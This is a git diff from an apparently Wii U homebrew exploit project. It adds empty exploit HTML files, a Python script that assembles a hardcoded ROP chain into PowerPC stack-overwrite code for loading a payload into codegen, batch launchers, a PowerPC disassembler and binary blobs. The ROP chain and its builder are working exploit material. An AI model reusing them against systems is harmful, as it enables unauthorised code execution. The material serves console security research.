0xdd, 0x41, 0xde, 0x42, 0xdf, 0x41, 0x06, 0x41, 0x41, 0x0d, 0x01, 0x00, + +] diff --git a/payload/exploit.html b/payload/exploit.html new file mode 100644 index 0000000..a6a8aaf --- /dev/null +++ b/payload/exploit.html @@ -0,0 +1,250 @@ + + + + \ No newline at end of file diff --git a/payload/exploit_WORKING.html b/payload/exploit_WORKING.html new file mode 100644 index 0000000..c1de773 --- /dev/null +++ b/payload/exploit_WORKING.html @@ -0,0 +1,251 @@ + + + + \ No newline at end of file diff --git a/ropChainToAsm.py b/ropChainToAsm.py new file mode 100644 index 0000000..ad624f3 --- /dev/null +++ b/ropChainToAsm.py @@ -0,0 +1,43 @@ +# Assemble rop chain into semi-optimized ppc to write over the stack +# ROP chain based on yellows8's wiiuhaxx_common for loading into codegen +# FFFF2222 is a stand in for the payload load address (stored in r7) +# FFFF3333 is a stand in for the payload size (stored in r11) +# place at "found:" in codeloader.s + + +#This ROP chain was created using: +# ropgen_copycodebin_to_codegen(0x01800000, 0xFFFF2222, 0xFFFF3333) +# ropchain_appendu32(0x01800000) +# in ropchainBuilder.html +ropChain = ['00000000','010204C8', '00000000', '00000000', '00000000', '00000000', '00000000', '0107DD70', '010376C0', '00000000', '00000000', '00000000', '00000000', '01080274', '00000000', '00000000', '00000000', '00000000', '00000000', '010204C8', '00000000', '00000000', '00000000', 'FFFF3333', '00000000', '0107DD70', '01035FC8', '01800000', '00000000', 'FFFF2222', '00000000', '01080274', '00000000', '00000000', '00000000', '00000000', '00000000', '010204C8', '00000000', '00000000', '00000000', '00000000', '00000000', '0107DD70', '010376C0', '00000001', '00000000', '00000000', '00000000', '01080274', '00000000', '00000000', '00000000', '00000000', '00000000', '010204C8', '00000000', '00000000', '00000000', '00000000', '00000000', '0107DD70', '01023F88', '01800000', '00000000', 'FFFF3333', '00000000', '01080274', '00000000', '00000000', '00000000', '00000000', '00000000', '010204C8', '00000000', '00000000', '00000000', '00000000', '00000000', '0107DD70', '010240B0', '01800000', '00000000', 'FFFF3333', '00000000', '01080274', '00000000', '01800000'] + +#Generate a list of each value used in the ROP chain for optimization purposes +#Cause no need to load the value in multiple times +ropChainAddresses = [] +for i in ropChain: + if not i in ropChainAddresses: + ropChainAddresses.append(i) + +# Essentially, to avoid reloading the same hardcoded values too many times, load each value to r10 one at a time +# then write it to all the locations it is used for. In some cases it uses r7 or r11 for payload address and size +writeRegister = '' +for address in ropChainAddresses: + if address == 'FFFF2222': + writeRegister = 'r7' + elif address == 'FFFF3333': + writeRegister = 'r11' + elif address[:4] == '0000': + print('li r10, 0x'+address[4:]) + writeRegister = 'r10' + else: + print('lis r10, 0x'+address[:4]) + if address[4:] != "0000": + print('ori r10, r10, 0x'+address[4:]) + + last = ropChain.index(address) + while last != -1: + print('stw %s, 0x%X(r1)' % (writeRegister, last * 4)) + try: + last = ropChain.index(address, last+1) + except ValueError: + last = -1 diff --git a/startDiibugger.bat b/startDiibugger.bat new file mode 100644 index 0000000..8b3b98d --- /dev/null +++ b/startDiibugger.bat @@ -0,0 +1 @@ +C:\Users\JmpCallPoo\AppData\Local\Programs\Python\Python35-32\python.exe diibugger/main.py \ No newline at end of file diff --git a/startServer.bat b/startServer.bat new file mode 100644 index 0000000..a8bf66e --- /dev/null +++ b/startServer.bat @@ -0,0 +1 @@ +c:\Python27\python.exe -m SimpleHTTPServer 80 \ No newline at end of file diff --git a/tcpgecko.mp4 b/tcpgecko.mp4 new file mode 100644 index 0000000000000000000000000000000000000000..d9830e15eadb2d6d2f940532429a23e18ebbde20 GIT binary patch literal 41224 zcmeHQe{37&8Gg^X7H?!yCb^YG12}5N5*C`EX4~b5lk=K(Y28sn3(7=TZ4x)}nqM@g zx@a~&#~Di55J}ugE3_d|X~#A+!RR!YT9#^b0s&IdHfb7^wOR`Ws;UeIZIg0)zPod| zCicXp?T?}NM7a09@BQBId7tHPA}5DADcOujtg87`euyKSrdCkeu54uBOb8E3vP( zCh^mv{i1zruhpk?ko*lY&LztJ?$IM8Ct^kWZ_#BR(bC;J%Z#an+qHj8qR#ALYRjIW z_C)j5TBGlpUxmwFRq8gA*YA^Dk;=UX{3Pj0x2Gc6vQbM`nlZ}IUplW}arURLCog5*^$sF+(yT*Kq;jd(ucA)h^&HIADBVou1$<6Bd}{LhEGcpL zG#2nt96m|`pLU0juYga&;Zsq-=f@78sscU-F8f&eQ}c7Vd{5@_Z7tw? z?h4;#QVZZbe;H>pwdD6%>T~$C7Vv3w`sD1f6cvlwD`APS=2S;}3EC_46qSgzs7y(e z>qEPW_G0}}^i5F__7qZ%le51?^gH|;MV#EX-*>$csWgo7W^#v#2=Ux?Yw^9A+!l7@ z9NKCd!&8@ICce8&^ZRb5)B~*)m?W{D96DawmW$m=QW$$gDfW}~`FUSDI*<4D{>mu= zmi3s^SEm*q^wadUk)os4{xf=2cXG93|7j-0>2t+C)=V{p`ux6WDbjSL2bivnEJtjg zBt^=P^kA<(l!z_U#+ytY6u%0;RYyYL+?UGZVId`gp*p^&IAZ1?Sz(rusJL>xgb&x43DS#fcl7SaYEt zSbWfr8rW?-58G?cT{Ca)bJUrYF}))e|GwcwZfVS>-}yCP4Yel^ZkchUaL&y5c`pA$fn7iNG#JZ4*^RtaCj1XmTNeNOT!)aKMrhSZK}C?BvQ+U0>c!-niOl9!u#%j zya8B)ryjbi(IBZ&m#(W5Sbq1uri{E+A^cKr&T7hA_dgzS>m>NCQ>i%k=DK6TC-`P) z2v`>Dm@i#almV46uoLGr*M*xR8@lMqY7eK>f@-5MRRH;8Wl$FbB`p zf1#>~D4OFBg-{#QX)7JwMiWM ziYDrlcw?pDq&xsD&_<`ahr+4n-`7&7W;OfHL&39k<5*`yskhIEQg5vDR6mOIP&fXJ z`OE86seSxT>|fBLz%kxPl)-$+u>|>fkh2##3Y7LHIh&TlRvqO|p=nX4pmFI%Q^UHe8}$hU zCKr#QmTj=N1tu3A4D69K*aLw{*IZzad>VF0ea?6Rx|M`BQ!Rhc%(Zw}uEKdF?JAS2 zg2u;55finZg5RsCt=vj3AI26T<{5R5s}uIsfyp8V}sz#B>8= z%))q8Cv;I!uNqGdr>UwwY#d5WPN{+C3?+5nRH*t9nSedf5SD2N_ICSB)>61vL!%|h z@3j7+`T=Ngk~+m6CGOtN`4l^chXW#qOV3(!E}pY^nwzf9(9416K7Kj%#$P-O~{$Yob$X%bNT6`Dddy{^c z6xb!O+w>FE2-^d@JuQ(6+Y39KE~6IMrLa5G0cwTqgWZikqg25zhh2j`r%cp+40DNm z&|a0pX4PzN$ja*y@{+!0=T#bfbLDt?xmlaVfl2v1a^58RbZA_x@9Z3rSl`3Y`Y^OU z46P4C-^0-MFxEo`+Ri}N8E86#HIRX(Gt)A3A$Mo67L+o1KGHL`hSw^#V=WS zi;iLqRb@^f->`j_9>Li(W8Ejsv-Is*EzvaZEIo{~$(TKwC$>C+Sm0xag=O{$U}>?j zT-JnxcjR?0S-ta)8e z*!7ln1gKinTijiOC%cl!q=U#!P>7u zepSJfFWs6iX6nL455_!b$88x+%T;V(#F{zwStvEu0T)Odc;2yk9Ui ztm+qQ!8=*J&mC~iXKSDsbLH}vMgGue4fcSl%eRX=t@u`VOQAG) zNj;!o&or*!#g1uXIRBu?Th%W-2@FeY3^jQ$pavi9u{e@y?Hb5fBUPdX;{F^w8NGm< zx(ker*kcuO4u~_r-2W$ORP4k4rgJ3DfYk4C53$cBGtTE`RGbTLaW15~UenZFq+IUD z-X+?EAFxSQeCif=u~a$wu!jdveSaU$4{y-;@I-3YIkJ6Pu+P7qI}5;%?!=ta&BN1T zoqmLUF^6T58t4D7pX`#9`-Z2OOiu4Urv zPM~eK-8PfxG}~s-_MY8_wMc)lZE+SKux((G7TNYF?CWe>#QUCY55RuFwmWgJGJhYH z)aeG?2SW|IVcfLaFeY#oOknS;*Qsd&`(OPO)nh+ste>H;XR!y?AE&Qou@5#7t;}LC zZ19l__saDRYUy6wCpR^O#r=lN`v~rpZCJzY^J@B8_6ESzE&{K>Q{1c0>3m4 ziaRsrDhZyw@!7+_NIMyTPt`eG24azGfoggnKgX z7gZC7EKI@=c%KqDaL3jrE{Q$eXqz}@zC(8ZxVU4aMuY}GTx8GV5qSunG5#Lt=7Whn zhMdKM9r4)q=%)Tq_t0Rh zBO;tOYz*}D^mnY;*5A8vXfPh_Mcdj{Yx}lGdSacCc=WbNUsu%hTeB^Sp*g3PRcm_g z9qi6^Q*X4lV_=BHdoUU&+Pqqe;YESL!RWSltiR8It#}JC=7OO+U!MprMt-~hUSIFMgK^)sd;5G_2M2okV{zZz(JhdX zFV;60kM#7!`nr6fp>IYzw)U@}!Tye|(fH<`*xj4AKxc#9z&gecGr$Zm1Iz$3zzi@0 z%m6dM3@`)C05iZ0Fayj0Gr$Zm1Iz$3zzi@0%m6dM3@`)C05iZ0Fayj0Gr$Zm1Iz$3 zzzi@0p8*Ei_+bW^0cL<1UlYk)Pt z8ek2u23P~E0oDL(fHlAxU=6SaSOcs9)&OgOHNYD9>}jACkK~eH5PzTJ{71U#*nlM8 z9CEa~ge|#UaY?Rx-O+BEmcRF8zV`WT;`?9DTeN*<{unXu{5J8uAdZO=?E-(%<`*R0 z8s)j;ScU2TY2#SK>^LT#EB;mGPmRYJ$JIQV!$Uco{|O$K`s9BSM=DzC#X8m{*WLq? z>zNA4^lYk)Pt8ek2u23P~E c0oDL(fHlAxU=6SaSOcs9)&OhZ|62q91au4OZU6uP literal 0 HcmV?d00001 diff --git a/tools/disassemble.py b/tools/disassemble.py new file mode 100644 index 0000000..441eee6 --- /dev/null +++ b/tools/disassemble.py @@ -0,0 +1,368 @@ +from struct import * + + + +condition_table_true = ["lt", "gt", "eq"] +condition_table_false = ["ge", "le", "ne"] +trap_condition_table = { + 1: "lgt", + 2: "llt", + 4: "eq", + 5: "lge", + 8: "gt", + 12: "ge", + 16: "lt", + 20: "le", + 31: "u" +} + +spr_table = { + 8: "lr", + 9: "ctr" +} + +def decodeI(value): + return (value >> 2) & 0xFFFFFF, (value >> 1) & 1, value & 1 + +def decodeB(value): + return (value >> 21) & 0x1F, (value >> 16) & 0x1F, (value >> 2) & 0x3FFF, (value >> 1) & 1, value & 1 + +def decodeD(value): + return (value >> 21) & 0x1F, (value >> 16) & 0x1F, value & 0xFFFF + +def decodeX(value): + return (value >> 21) & 0x1F, (value >> 16) & 0x1F, (value >> 11) & 0x1F, (value >> 1) & 0x3FF, value & 1 + +def extend_sign(value, bits=16): + if value & 1 << (bits - 1): + value -= 1 << bits + return value + +def ihex(value): + return "-" * (value < 0) + "0x" + hex(value).lstrip("-0x").rstrip("L").zfill(1).upper() + +def decodeCond(BO, BI): + #TODO: Better condition code + if BO == 20: return "" + if BO & 1: return "?" + if BI > 2: return "?" + if BO == 4: return condition_table_false[BI] + if BO == 12: return condition_table_true[BI] + return "?" + +def loadStore(value, regtype="r"): + D, A, d = decodeD(value) + d = extend_sign(d) + return "%s%i, %s(r%i)" %(regtype, D, ihex(d), A) + +def loadStoreX(D, A, B, pad): + if pad: return "" + return "r%i, %s, r%i" %(D, ("r%i" %A) if A else "0", B) + +def add(D, A, B, Rc): + return "add%s" %("." * Rc), "r%i, r%i, r%i" %(D, A, B) + +def addi(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + if A == 0: + return "li", "r%i, %s" %(D, ihex(SIMM)) + return "addi", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def addic(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + return "addic", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def addic_(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + return "addic.", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def addis(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + if A == 0: + return "lis", "r%i, %s" %(D, ihex(SIMM)) + return "addis", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def and_(S, A, B, Rc): + return "and%s" % ("." * Rc), "r%i, r%i, r%i" % (A, S, B) + +def b(value, addr): + LI, AA, LK = decodeI(value) + LI = extend_sign(LI, 24) * 4 + if AA: + dst = LI + else: + dst = addr + LI + return "b%s%s" %("l" * LK, "a" * AA), ihex(dst) + +def bc(value, addr): + BO, BI, BD, AA, LK = decodeB(value) + LI = extend_sign(LK, 14) * 4 + instr = "b" + decodeCond(BO, BI) + if LK: instr += "l" + if AA: + instr += "a" + dst = LI + else: + dst = addr + LI + return instr, ihex(dst) + +def bcctr(BO, BI, pad, LK): + if pad: return "" + instr = "b" + decodeCond(BO, BI) + "ctr" + if LK: + instr += "l" + return instr + +def bclr(BO, BI, pad, LK): + if pad: return "" + instr = "b" + decodeCond(BO, BI) + "lr" + if LK: + instr += "l" + return instr + +def cmp(cr, A, B, pad): + if pad: return "" + if cr & 3: + return "" + return "cmp", "cr%i, r%i, r%i" %(cr >> 2, A, B) + +def cmpi(value, addr): + cr, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + if cr & 3: + return "" + return "cmpwi", "cr%i, r%i, %s" %(cr >> 2, A, ihex(SIMM)) + +def cmpl(cr, A, B, pad): + if pad: return "" + if cr & 3: + return "" + return "cmplw", "cr%i, r%i, r%i" %(cr >> 2, A, B) + +def cmpli(value, addr): + cr, A, UIMM = decodeD(value) + if cr & 3: + return "" + return "cmplwi", "cr%i, r%i, %s" %(cr >> 2, A, ihex(UIMM)) + +def cntlzw(S, A, pad, Rc): + if pad: return "" + return "cntlzw%s" %("." * Rc), "r%i, r%i" %(A, S) + +def dcbst(pad1, A, B, pad2): + if pad1 or pad2: return "" + return "dcbst", "r%i, r%i" %(A, B) + +def fmr(D, pad, B, Rc): + if pad: return "" + return "fmr%s" %("." * Rc), "f%i, f%i" %(D, B) + +def fneg(D, pad, B, Rc): + if pad: return "" + return "fneg%s" %("." * Rc), "f%i, f%i" %(D, B) + +def mfspr(D, sprLo, sprHi, pad): + if pad: return "" + sprnum = (sprHi << 5) | sprLo + if sprnum not in spr_table: + spr = "?" + else: + spr = spr_table[sprnum] + return "mf%s" %spr, "r%i" %D + +def mtspr(S, sprLo, sprHi, pad): + if pad: return "" + sprnum = (sprHi << 5) | sprLo + if sprnum not in spr_table: + spr = ihex(sprnum) + else: + spr = spr_table[sprnum] + return "mt%s" %spr, "r%i" %S + +def lbz(value, addr): return "lbz", loadStore(value) +def lfd(value, addr): return "lfd", loadStore(value, "f") +def lfs(value, addr): return "lfs", loadStore(value, "f") +def lmw(value, addr): return "lmw", loadStore(value) +def lwz(value, addr): return "lwz", loadStore(value) +def lwzu(value, addr): return "lwzu", loadStore(value) +def lwarx(D, A, B, pad): return "lwarx", loadStoreX(D, A, B, pad) +def lwzx(D, A, B, pad): return "lwzx", loadStoreX(D, A, B, pad) + +def or_(S, A, B, Rc): + if S == B: + return "mr%s" %("." * Rc), "r%i, r%i" %(A, S) + return "or%s" %("." * Rc), "r%i, r%i, r%i" %(A, S, B) + +def ori(value, addr): + S, A, UIMM = decodeD(value) + if UIMM == 0: + return "nop" + return "ori", "r%s, r%s, %s" %(A, S, ihex(UIMM)) + +def oris(value, addr): + S, A, UIMM = decodeD(value) + return "oris", "r%s, r%s, %s" %(A, S, ihex(UIMM)) + +def rlwinm(value, addr): + S, A, SH, M, Rc = decodeX(value) + MB = M >> 5 + ME = M & 0x1F + dot = "." * Rc + if SH == 0 and MB == 0 and ME == 31: + return "nop" + if MB == 0 and ME == 31 - SH: + return "slwi%s" %dot, "r%i, r%i, %i" %(A, S, SH) + if ME == 31 and SH == 32 - MB: + return "srwi%s" %dot, "r%i, r%i, %i" %(A, S, MB) + if MB == 0 and ME < 31: + return "extlwi%s" %dot, "r%i, r%i, %i,%i" %(A, S, ME + 1, SH) + #extrwi + if MB == 0 and ME == 31: + if SH >= 16: + return "rotlwi%s" %dot, "r%i, r%i, %i" %(A, S, SH) + return "rotrwi%s" %dot, "r%i, r%i, %i" %(A, S, 32 - SH) + if SH == 0 and ME == 31: + return "clrlwi%s" %dot, "r%i, r%i, %i" %(A, S, MB) + if SH == 0 and MB == 0: + return "clrrwi%s" %dot, "r%i, r%i, %i" %(A, S, 31 - ME) + #clrlslwi + return "rlwinm%s" %dot, "r%i, r%i, %i,%i,%i" %(A, S, SH, MB, ME) + +def sc(value, addr): + if value & 0x3FFFFFF != 2: + return "" + return "sc" + +def stb(value, addr): return "stb", loadStore(value) +def stfd(value, addr): return "stfd", loadStore(value, "f") +def stfs(value, addr): return "stfs", loadStore(value, "f") +def stfsu(value, addr): return "stfsu", loadStore(value, "f") +def stmw(value, addr): return "stmw", loadStore(value) +def stw(value, addr): return "stw", loadStore(value) +def stwu(value, addr): return "stwu", loadStore(value) +def stbx(S, A, B, pad): return "stbx", loadStoreX(S, A, B, pad) +def stwx(S, A, B, pad): return "stwx", loadStoreX(S, A, B, pad) +def stwcx(S, A, B, pad): return "stwcx", loadStoreX(S, A, B, pad ^ 1) + +def tw(TO, A, B, pad): + if pad: return "" + if TO == 31 and A == 0 and B == 0: + return "trap" + + if TO not in trap_condition_table: + condition = "?" + else: + condition = trap_condition_table[TO] + return "tw%s" %condition, "r%i, r%i" %(A, B) + +opcode_table_ext1 = { + 16: bclr, + 528: bcctr +} + +opcode_table_ext2 = { + 0: cmp, + 4: tw, + 20: lwarx, + 23: lwzx, + 26: cntlzw, + 28: and_, + 32: cmpl, + 54: dcbst, + 150: stwcx, + 151: stwx, + 215: stbx, + 266: add, + 339: mfspr, + 444: or_, + 467: mtspr +} + +opcode_table_float_ext1 = { + 40: fneg, + 72: fmr +} + +def ext1(value, addr): + DS, A, B, XO, Rc = decodeX(value) + if not XO in opcode_table_ext1: + return "ext1 - %s" %bin(XO) + return opcode_table_ext1[XO](DS, A, B, Rc) + +def ext2(value, addr): + DS, A, B, XO, Rc = decodeX(value) + if not XO in opcode_table_ext2: + return "ext2 - %s" %bin(XO) + return opcode_table_ext2[XO](DS, A, B, Rc) + +def float_ext1(value, addr): + D, A, B, XO, Rc = decodeX(value) + if not XO in opcode_table_float_ext1: + return "float_ext1 - %s" %bin(XO) + return opcode_table_float_ext1[XO](D, A, B, Rc) + +opcode_table = { + 10: cmpli, + 11: cmpi, + 12: addic, + 13: addic_, + 14: addi, + 15: addis, + 16: bc, + 17: sc, + 18: b, + 19: ext1, + 21: rlwinm, + 24: ori, + 25: oris, + 31: ext2, + 32: lwz, + 33: lwzu, + 34: lbz, + 36: stw, + 37: stwu, + 38: stb, + 46: lmw, + 47: stmw, + 48: lfs, + 50: lfd, + 52: stfs, + 53: stfsu, + 54: stfd, + 63: float_ext1 +} + +def disassemble(value, address): + opcode = value >> 26 + if opcode not in opcode_table: + return "???" + instr = opcode_table[opcode](value, address) + if type(instr) == str: + return instr + return instr[0] + " " * (10 - len(instr[0])) + instr[1] + +def disassembleFile(file): + f = open(file, "rb") + add = 0x01000000 + old = ["", "", "","","",""] + while True: + opcode = unpack(">I", f.read(4))[0] + res = disassemble(opcode, add) + #print "%08x : " % (add), + #print res + for i in range(len(old)-1): + old[i] = old[i+1] + old[len(old)-1] = res + if res == "blr": + print "%08x : " % (add - (len(old)*4)), + for i in range(len(old)): + print "%s ; " % (old[i]), + print "" + add+=4 + f.close() + +disassembleFile("DUMP0E.bin") \ No newline at end of file diff --git a/wiiuhaxx_loader.bin b/wiiuhaxx_loader.bin new file mode 100644 index 0000000000000000000000000000000000000000..ac141af5a8ce9d9c450a8b9ed751bcca2321bf32 GIT binary patch literal 76 zcmeZZU|_AuU|MF;z~E8SA|=wWgn_}Lg@L7h@#_kU0}M